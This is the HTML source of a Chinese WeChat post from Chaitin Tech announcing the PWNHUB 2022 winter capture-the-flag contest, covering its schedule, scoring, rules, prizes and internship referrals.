<img src="https://wechat2rss.xlab.app/img-proxy/?k=e4a08271&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0ZAwETFu66trWIpO5pKGfD9VoauHcxQNRSDN3Ex65FSPicJaGogwMys3P55VT664ns9r1VWMRkAialQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-indent: 2em;margin-bottom: 0px;text-align: center;line-height: 1.5em;" data-mpa-powered-by="yiban.io"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;text-indent: 2em;"><br mpa-from-tpl="t"/></span></p><section data-mpa-template="t" mpa-from-tpl="t"><section data-mpa-template="t" mpa-from-tpl="t"><section data-mpa-category="模板" style="width: 100%;display: flex;flex-direction: column;padding: 12px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;display: flex;justify-content: space-between;border-bottom: 3px solid rgb(41, 97, 13);" data-mid="" mpa-from-tpl="t"><section style="text-align: left;" data-mid="" mpa-from-tpl="t"><p style="font-size: 10px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(41, 97, 13);line-height: 14px;" data-mid="">第1234期</p></section><section style="text-align: left;" data-mid="" mpa-from-tpl="t"><p style="font-size: 10px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(41, 97, 13);line-height: 14px;" data-mid="">天气晴朗</p></section></section><section style="width: 100%;display: grid;grid-template-columns: auto 29%;border-top: 1px solid rgb(41, 97, 13);margin-top: 2px;padding-top: 10px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;align-self: flex-end;padding-right: 8px;" data-mid="" mpa-from-tpl="t"><section style="text-align: left;" data-mid="" mpa-from-tpl="t"><p style="font-size: 46px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(41, 97, 13);line-height: 53px;" data-mid="">长亭新闻</p></section><section style="text-align: left;" data-mid="" mpa-from-tpl="t"><span style="padding: 3px;background: rgb(41, 97, 13);font-size: 10px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(255, 255, 255);line-height: 14px;letter-spacing: 11px;" data-mid="">BREAKING NEWS</span></section></section><section style="align-self: flex-end;border-width: 1px;border-style: solid;border-color: rgb(41, 97, 13);width: 100%;" data-mid="" mpa-from-tpl="t"><section style="text-align: center;padding: 4px 0px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 13px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(41, 97, 13);line-height: 18px;" data-mid=""><span style="letter-spacing: normal;">2022年11月21日</span></p></section><section style="text-align: center;background: rgb(41, 97, 13);padding-top: 3px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 27px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(255, 255, 255);line-height: 38px;" data-mid="">星期一</p></section></section></section><section style="padding: 5px;display: flex;justify-content: center;align-items: center;border-width: 1px;border-style: solid;border-color: rgb(41, 97, 13);margin-top: 6px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="542" data-cropsely1="0" data-cropsely2="231" data-ratio="0.4255555555555556" style="width: 543px;height: 231px;" data-w="900" src="https://wechat2rss.xlab.app/img-proxy/?k=f7af149b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0Z7rDHncHUaA7MZubArnEDEkF87XSBibiaYzO5DPUKxUCqDNE339KBTVs9TicLibAvTzgsgeW2zs0lXXA%2F640%3Fwx_fmt%3Djpeg"/></section></section></section></section><p style="margin-bottom: 0px;text-indent: 2em;text-align: center;line-height: 1.5em;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;text-indent: 2em;">2022年将要步入尾声</span></p><p style="margin-bottom: 0px;text-indent: 2em;text-align: center;line-height: 1.5em;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;">但挑战却从未间断！</span></p><p style="margin-bottom: 0px;white-space: normal;text-indent: 2em;text-align: center;line-height: 1.5em;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;">辞旧迎新之际，</span></p><p style="margin-bottom: 0px;white-space: normal;text-indent: 2em;text-align: center;line-height: 1.5em;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;">长亭科技两大赛事喜上热搜。</span></p><p style="margin-bottom: 0px;white-space: normal;text-indent: 2em;text-align: center;line-height: 1.5em;"><br/></p><section data-mpa-template="t" mpa-from-tpl="t"><section data-mpa-template="t" data-mpa-template-id="526" data-mpa-category="模板" mpa-from-tpl="t"><section data-mpa-category="模板" style="display: flex;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 29px;height: 31px;align-self: center;display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="1.0555555555555556" data-w="180" src="https://wechat2rss.xlab.app/img-proxy/?k=e7760371&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FlycWmog36MtYSNMy8gOHsKZvl1zx6SEiaYSAhul4R7wraq6GD6WL3P0FpKL9tRPoD4028dOJAlGHcNlkhONbfaA%2F640%3Fwx_fmt%3Dgif"/></section></section></section></section><p style="text-indent: 2em;margin-bottom: 0px;text-align: center;line-height: 1.5em;"><strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">PWNHUB2022 冬季赛  </span><br/></strong></p><p style="text-indent: 2em;margin-bottom: 0px;text-align: center;line-height: 1.5em;"><strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">12月17日 10:00—12月18日22:00</span></strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;"><br/></span></p><p style="text-indent: 2em;margin-bottom: 0px;text-align: center;line-height: 1.5em;"><span style="color: rgb(214, 168, 65);"><strong><span style="color: rgb(214, 168, 65);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">年度终局之战，震撼来袭！</span></strong></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4255555555555556" data-s="300,640" style="" data-type="jpeg" data-w="900" src="https://wechat2rss.xlab.app/img-proxy/?k=9129c2e0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0Z6J8cOvMCbPOdiaXZN07iaY5hK9u5LFsTc9oMwx5pcJxb1I4MxsttSb1VnTUofyUEAeWT3aDsfKARA%2F640%3Fwx_fmt%3Djpeg"/></p><section style="margin-bottom: 0px;text-align: left;line-height: 1.5em;text-indent: 0em;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;text-align: left;text-indent: 2em;">本次比赛由PWNHUB主办，<span style="caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: PingFangSC-light;letter-spacing: 0.544px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">本次比赛将采用在线网络安全夺旗挑战赛的形式，</span></span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;text-align: left;text-indent: 2em;text-decoration-style: solid;text-decoration-color: rgb(51, 51, 51);">面向所有热爱网络的人员。</span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;text-indent: 2em;text-decoration-style: solid;text-decoration-color: rgb(51, 51, 51);">比赛</span><span style="color: rgb(64, 118, 0);"><strong><span style="text-indent: 0em;font-family: Optima-Regular, PingFangTC-light;font-size: 15px;">36</span></strong></span><span style="text-indent: 0em;font-family: Optima-Regular, PingFangTC-light;font-size: 15px;">小时赛道充斥无限可能，多类型赛题不仅有质更有趣，致力于打造更好的比赛体验。本次比赛更设有丰富奖金、限量新制周边、内推长亭及长亭合作伙伴实习或工作机会，全面挖掘培养网安人才。</span></section><section data-mpa-template="t" mpa-from-tpl="t"><section label="Copyright © 2016 playhudong All Rights Reserved." style="width:100%;margin:1em auto;text-align: center;" donone="shifuMouseDownPayStyle(&#39;shifu_t_042&#39;)" mpa-from-tpl="t"><section style="width: 10px;height: 10px;border-radius: 50%;background-color: rgb(18, 149, 39);opacity: 0.5;border-width: 1px;border-style: solid;border-color: white;display: inline-block;vertical-align: top;margin-top: 0.56em;" mpa-from-tpl="t"><br/></section><section style="width: 15px;height: 15px;border-radius: 50%;border-width: 2px;border-style: solid;border-color: white;background-color: rgb(18, 149, 39);display: inline-block;vertical-align: top;margin-top: 0.4em;" mpa-from-tpl="t"><br/></section><p style="display: inline-block;margin-left: 0.5em;"><strong>年度终局之战，专属你的战场</strong></p><section style="margin-left: 0.5em;width: 15px;height: 15px;border-radius: 50%;background-color: rgb(18, 149, 39);display: inline-block;border-width: 2px;border-style: solid;border-color: white;vertical-align: top;margin-top: 0.4em;" mpa-from-tpl="t"><br/></section><section style="width: 10px;height: 10px;border-radius: 50%;background-color: rgb(18, 149, 39);vertical-align: top;opacity: 0.5;display: inline-block;border-width: 1px;border-style: solid;border-color: white;margin-top: 0.56em;" mpa-from-tpl="t"><br/></section></section></section><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;padding: 8px 14px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: space-between;" data-mid="" mpa-from-tpl="t"><section style="width: 16px;height: 16px;background: rgb(64, 149, 21);border-radius: 6px 0px 0px;margin-left: -3px;margin-bottom: -13px;" data-mid="" mpa-from-tpl="t"><br/></section><section style="width: 16px;height: 16px;background: rgb(64, 149, 21);border-radius: 0px 6px 0px 0px;margin-right: -3px;margin-bottom: -13px;" data-mid="" mpa-from-tpl="t"><br/></section></section><section style="background: rgb(255, 255, 255);border-radius: 5px;border-width: 1px;border-style: solid;border-color: rgb(36, 58, 109);padding: 2px;width: 100%;z-index: 2;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;border-radius: 5px;border-width: 1px;border-style: dashed;border-color: rgb(219, 217, 217);padding: 14px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(36, 58, 109);line-height: 1.75em;"><span style="color: rgb(61, 167, 66);"><strong><span style="font-family: Optima-Regular, PingFangTC-light;orphans: 4;text-align: start;outline: 0px;white-space: pre-wrap;">竞赛时间</span></strong><strong><span style="font-family: Optima-Regular, PingFangTC-light;orphans: 4;text-align: start;outline: 0px;white-space: pre-wrap;">：</span></strong></span><span style="font-family: Optima-Regular, PingFangTC-light;orphans: 4;text-align: start;outline: 0px;white-space: pre-wrap;color: rgb(0, 0, 0);">12月17日 10:00—12月18日 22:00</span></p><p style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(36, 58, 109);margin-bottom: 0px;margin-top: 0px;line-height: 1.75em;"><span style="color: rgb(61, 167, 66);"><strong><span style="font-family: Optima-Regular, PingFangTC-light;orphans: 4;text-align: start;outline: 0px;white-space: pre-wrap;">报名途径：</span></strong></span><span style="font-size: 14px;background-color: rgb(255, 255, 255);letter-spacing: normal;font-family: Optima-Regular, PingFangTC-light;orphans: 4;text-align: start;outline: 0px;white-space: pre-wrap;color: rgb(0, 0, 0);">登录竞赛平台，团队队长注册账号 (每个团队使用同一账号进行答题)</span></p><p style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(36, 58, 109);margin-bottom: 0px;margin-top: 0px;line-height: 1.75em;"><span style="color: rgb(61, 167, 66);"><strong><span style="font-family: Optima-Regular, PingFangTC-light;orphans: 4;text-align: start;outline: 0px;white-space: pre-wrap;">竞赛网址</span></strong><strong><span style="font-family: Optima-Regular, PingFangTC-light;orphans: 4;text-align: start;outline: 0px;white-space: pre-wrap;">：</span></strong></span><span style="font-family: Optima-Regular, PingFangTC-light;orphans: 4;text-align: start;white-space: pre-wrap;caret-color: rgb(51, 51, 51);letter-spacing: normal;color: rgb(0, 128, 255);"><a href="http://ctf.pwnhub.cn/" target="_blank">http://ctf.pwnhub.cn/</a></span></p><p style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(36, 58, 109);line-height: 1.75em;"><span style="color: rgb(61, 167, 66);"><strong><span style="font-family: Optima-Regular, PingFangTC-light;orphans: 4;text-align: start;outline: 0px;white-space: pre-wrap;">得分规则：</span></strong></span><span style="outline: 0px;color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;font-size: 14px;orphans: 4;text-align: start;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">比赛采用动态分数制度 ，每道题目的分值将根据解出队伍的数量进行动态记分。</span><span style="color: rgb(61, 167, 66);"><strong><span style="font-family: Optima-Regular, PingFangTC-light;orphans: 4;text-align: start;outline: 0px;white-space: pre-wrap;"><br/></span></strong></span></p><p style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(36, 58, 109);line-height: 1.75em;"><span style="color: rgb(61, 167, 66);"><strong><span style="font-family: Optima-Regular, PingFangTC-light;orphans: 4;text-align: start;outline: 0px;white-space: pre-wrap;">题目类型：</span></strong></span><span style="font-size: 14px;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-family: Optima-Regular, PingFangTC-light;orphans: 4;text-align: start;outline: 0px;white-space: pre-wrap;color: rgb(0, 0, 0);">Web、Pwn、Reverse、Misc、Crypto等</span></p><p style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(36, 58, 109);line-height: 1.75em;"><span style="color: rgb(61, 167, 66);"><strong><span style="color: rgb(61, 167, 66);font-family: Optima-Regular, PingFangTC-light;orphans: 4;text-align: start;outline: 0px;white-space: pre-wrap;">竞赛规则：</span></strong></span><strong style="orphans: 4;text-align: start;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: Optima-Regular, PingFangTC-light;outline: 0px;"></strong></p><ul class="list-paddingleft-1" style="list-style-type: disc;"><li style="font-size: 14px;font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);"><p style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(36, 58, 109);margin-bottom: 0px;line-height: 2em;"><span style="background-color: rgb(255, 255, 255);orphans: 4;text-align: start;outline: 0px;white-space: pre-wrap;font-size: 14px;font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);">参赛队伍如有任何违规行为，将被取消比赛资格</span></p></li><li style="outline: 0px;font-size: 14px;font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);"><p style="outline: 0px;orphans: 4;white-space: pre-wrap;margin-bottom: 0px;line-height: 2em;"><span style="outline: 0px;font-size: 14px;font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);">禁止不同参赛队伍合作，或者共享flag、hint等任何比赛相关信息；</span></p></li><li style="outline: 0px;font-size: 14px;font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);"><p style="outline: 0px;orphans: 4;white-space: pre-wrap;margin-bottom: 0px;line-height: 2em;"><span style="outline: 0px;font-size: 14px;font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);">禁止攻击比赛平台，如果发现平台漏洞，请务必联系比赛交流群的管理者；</span></p></li><li style="outline: 0px;font-size: 14px;font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);"><p style="outline: 0px;orphans: 4;white-space: pre-wrap;margin-bottom: 0px;line-height: 2em;"><span style="outline: 0px;font-size: 14px;font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);">禁止在比赛中妨碍其他队伍解题，例如对比赛题目环境进行破坏；</span></p></li><li style="outline: 0px;font-family: Optima-Regular, PingFangTC-light;font-size: 14px;color: rgb(0, 0, 0);"><p style="outline: 0px;margin-bottom: 0px;line-height: 2em;"><span style="font-size: 14px;font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);">禁止往比赛平台发送大量流量；</span></p></li><li style="outline: 0px;font-family: Optima-Regular, PingFangTC-light;font-size: 14px;color: rgb(0, 0, 0);"><p style="outline: 0px;margin-bottom: 0px;line-height: 2em;"><span style="font-size: 14px;font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);">禁止对提交的flag进行爆破；</span></p></li><li style="outline: 0px;font-family: Optima-Regular, PingFangTC-light;font-size: 14px;color: rgb(0, 0, 0);"><p style="outline: 0px;margin-bottom: 0px;line-height: 2em;"><span style="font-size: 14px;font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);">获奖的队伍必须提交完整的解题报告；</span></p></li><li style="outline: 0px;font-family: Optima-Regular, PingFangTC-light;font-size: 14px;color: rgb(0, 0, 0);"><p style="outline: 0px;orphans: 4;white-space: pre-wrap;margin-bottom: 0px;line-height: 2em;"><span style="outline: 0px;font-size: 14px;font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);">在公平合理的前提下，主办方有权修改包括赛题、规则等一切事项。</span></p></li></ul><p style="margin-bottom: 0.5rem;outline: 0px;orphans: 4;white-space: pre-wrap;line-height: 1.75em;"><span style="color: rgb(61, 167, 66);"><strong><span style="outline: 0px;font-size: 14px;font-family: Optima-Regular, PingFangTC-light;">赛事交流群：</span></strong></span><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;font-size: 14px;">961142262（<span style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;font-size: 14px;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);">QQ群</span>）</span></p><section style="text-align: center;line-height: 1.6em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.3793103448275863" data-s="300,640" style="width: 137px;height: 189px;" data-type="png" data-w="290" src="https://wechat2rss.xlab.app/img-proxy/?k=48b986fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FtzAD45OOV0bdvLShQCOyl5PCU6MaD7aNfhvicEdWoswodLCBGXtcnNH6peukBCxFCBRTNWicicM9Wt9cZpjeelcNw%2F640%3Fwx_fmt%3Dpng"/></section><p style="margin-bottom: 0.5rem;outline: 0px;orphans: 4;white-space: pre-wrap;line-height: 1.75em;"><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;font-size: 14px;"></span></p><section style="margin-bottom: 0.5rem;outline: 0px;orphans: 4;white-space: pre-wrap;line-height: 1.75em;"><span style="outline: 0px;font-size: 14px;font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);"></span></section></section></section><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: space-between;" data-mid="" mpa-from-tpl="t"><section style="width: 16px;height: 16px;background: rgb(64, 149, 21);border-radius: 0px 0px 0px 6px;margin-left: -3px;margin-top: -13px;" data-mid="" mpa-from-tpl="t"><br/></section><section style="width: 16px;height: 16px;background: rgb(64, 149, 21);border-radius: 0px 0px 6px;margin-right: -3px;margin-top: -13px;" data-mid="" mpa-from-tpl="t"><br/></section></section></section></section></section><section data-mpa-template="t" mpa-from-tpl="t"><section data-mpa-template="t" mpa-from-tpl="t"><section label="Copyright © 2016 playhudong All Rights Reserved." style="width:100%;margin:1em auto;text-align: center;" donone="shifuMouseDownPayStyle(&#39;shifu_t_042&#39;)" mpa-from-tpl="t"><section style="width: 10px;height: 10px;border-radius: 50%;background-color: rgb(18, 149, 39);opacity: 0.5;border-width: 1px;border-style: solid;border-color: white;display: inline-block;vertical-align: top;margin-top: 0.56em;" mpa-from-tpl="t"><br/></section><section style="width: 15px;height: 15px;border-radius: 50%;border-width: 2px;border-style: solid;border-color: white;background-color: rgb(18, 149, 39);display: inline-block;vertical-align: top;margin-top: 0.4em;" mpa-from-tpl="t"><br/></section><p style="display: inline-block;margin-left: 0.5em;"><strong>超多奖品，勇士加冕</strong></p><section style="margin-left: 0.5em;width: 15px;height: 15px;border-radius: 50%;background-color: rgb(18, 149, 39);display: inline-block;border-width: 2px;border-style: solid;border-color: white;vertical-align: top;margin-top: 0.4em;" mpa-from-tpl="t"><br/></section><section style="width: 10px;height: 10px;border-radius: 50%;background-color: rgb(18, 149, 39);vertical-align: top;opacity: 0.5;display: inline-block;border-width: 1px;border-style: solid;border-color: white;margin-top: 0.56em;" mpa-from-tpl="t"><br/></section></section></section><p><br mpa-from-tpl="t"/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="width: 100%;display: flex;justify-content: center;align-items: center;padding: 0px 10px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;width: 100%;margin-bottom: 20px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;display: grid;grid-template-columns: 18% 82%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;background: rgb(116, 153, 98);border-radius: 5px 0px 0px 5px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="width: 43px;height: 43px;border-width: 1px;border-style: dashed;border-color: rgb(255, 255, 255);border-radius: 50%;text-align: center;overflow: hidden;white-space: nowrap;" data-mid="" mpa-from-tpl="t"><p style="font-size: 29px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 41px;letter-spacing: 1px;" data-mid="">01</p></section></section></section><section style="flex: 8 1 0%;background: rgb(255, 255, 255);box-shadow: rgb(216, 215, 215) 1px 1px 4px 0px;border-radius: 5px 5px 5px 0px;border-width: 1px;border-style: solid;border-color: rgb(255, 255, 255);text-align: left;padding: 10px;display: flex;justify-content: flex-start;flex-direction: column;align-items: flex-start;" data-mid="" mpa-from-tpl="t"><p style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-weight: 400;color: rgb(60, 122, 29);line-height: 24px;" data-mid=""><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;"><strong>优秀战队金币瓜分</strong></span></p><p style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-weight: 400;color: rgb(60, 122, 29);line-height: 24px;" data-mid=""><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;">第1名：</span><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;">PWNHUB金币5000</span></p><p style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-weight: 400;color: rgb(60, 122, 29);line-height: 24px;" data-mid=""><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;">第2名：PWNHUB金币2000</span></p><p style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-weight: 400;color: rgb(60, 122, 29);line-height: 24px;" data-mid=""><span style="font-family: Optima-Regular, PingFangTC-light;"><span style="color: rgb(0, 0, 0);">第3名：</span><span style="color: rgb(0, 0, 0);text-decoration-style: solid;text-decoration-color: rgb(8, 110, 234);"><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;font-size: 14px;text-align: left;background-color: rgb(255, 255, 255);">PWNHUB</span>金币1000 </span></span></p><p style="font-size: 14px;font-weight: 400;color: rgb(60, 122, 29);line-height: 24px;" data-mid=""><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;">第4名：<span style="color: rgb(0, 0, 0);text-align: left;font-size: 14px;letter-spacing: normal;text-decoration: none solid rgb(8, 110, 234);"><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;font-size: 14px;text-align: left;background-color: rgb(255, 255, 255);">PWNHUB</span>金币500 </span></span></p><p style="font-size: 14px;font-weight: 400;color: rgb(60, 122, 29);line-height: 24px;" data-mid=""><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;">第5名：PWNHUB金币200</span></p></section></section></section><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;width: 100%;margin-bottom: 20px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;display: grid;grid-template-columns: 18% 82%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;background: rgb(116, 153, 98);border-radius: 5px 0px 0px 5px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="width: 43px;height: 43px;border-width: 1px;border-style: dashed;border-color: rgb(255, 255, 255);border-radius: 50%;text-align: center;overflow: hidden;white-space: nowrap;" data-mid="" mpa-from-tpl="t"><p style="font-size: 29px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 41px;letter-spacing: 1px;" data-mid="">02</p></section></section></section><section style="flex: 8 1 0%;background: rgb(255, 255, 255);box-shadow: rgb(216, 215, 215) 1px 1px 4px 0px;border-radius: 5px 5px 5px 0px;border-width: 1px;border-style: solid;border-color: rgb(255, 255, 255);text-align: left;padding: 10px;display: flex;justify-content: flex-start;flex-direction: column;align-items: flex-start;" data-mid="" mpa-from-tpl="t"><p data-mid="" style="margin-bottom: 0px;text-align: left;white-space: normal;font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(60, 122, 29);line-height: 24px;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;"><strong>RealWorld、PWNHUB周边花落谁家？</strong></span></p><p data-mid="" style="margin-bottom: 0px;text-align: left;white-space: normal;font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(60, 122, 29);line-height: 24px;"><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;">第1-5名：RealWorld</span><span style="font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 209, 0);">新一期</span><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;">周边套装</span></p><p data-mid="" style="margin-bottom: 0px;text-align: left;white-space: normal;font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(60, 122, 29);line-height: 24px;"><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;">第6-10名：PWNHUB2022周边套装</span></p><p style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-weight: 400;color: rgb(60, 122, 29);line-height: 24px;" data-mid=""><strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;color: rgb(64, 118, 0);">一血勇士：</span></strong><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;">PWNHUB平台邀请码一枚</span></p></section></section></section><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;width: 100%;margin-bottom: 20px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;display: grid;grid-template-columns: 18% 82%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;background: rgb(116, 153, 98);border-radius: 5px 0px 0px 5px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="width: 43px;height: 43px;border-width: 1px;border-style: dashed;border-color: rgb(255, 255, 255);border-radius: 50%;text-align: center;overflow: hidden;white-space: nowrap;" data-mid="" mpa-from-tpl="t"><p style="font-size: 29px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 41px;letter-spacing: 1px;" data-mid="">03</p></section></section></section><section style="flex: 8 1 0%;background: rgb(255, 255, 255);box-shadow: rgb(216, 215, 215) 1px 1px 4px 0px;border-radius: 5px 5px 5px 0px;border-width: 1px;border-style: solid;border-color: rgb(255, 255, 255);text-align: left;padding: 10px;display: flex;justify-content: flex-start;flex-direction: column;align-items: flex-start;" data-mid="" mpa-from-tpl="t"><p style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-weight: 400;color: rgb(60, 122, 29);line-height: 24px;" data-mid=""><span style="font-size: 15px;"><strong>超多offer等你来拿！！</strong></span></p><p style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-weight: 400;color: rgb(60, 122, 29);line-height: 24px;" data-mid=""><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;">前30名战队优秀选手：内推长亭科技及长亭合作伙伴实习or工作机会</span></p><p style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-weight: 400;color: rgb(60, 122, 29);line-height: 24px;" data-mid=""><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;">就业岗位包括但不限于：</span></p><p style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-weight: 400;color: rgb(60, 122, 29);line-height: 24px;" data-mid=""><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;">安全服务工程师<br/></span></p><p style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-weight: 400;color: rgb(60, 122, 29);line-height: 24px;" data-mid=""><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;">后端开发工程师<br/></span></p><p style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-weight: 400;color: rgb(60, 122, 29);line-height: 24px;" data-mid=""><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;">移动安全工程师</span></p><p style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-weight: 400;color: rgb(60, 122, 29);line-height: 24px;" data-mid=""><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, 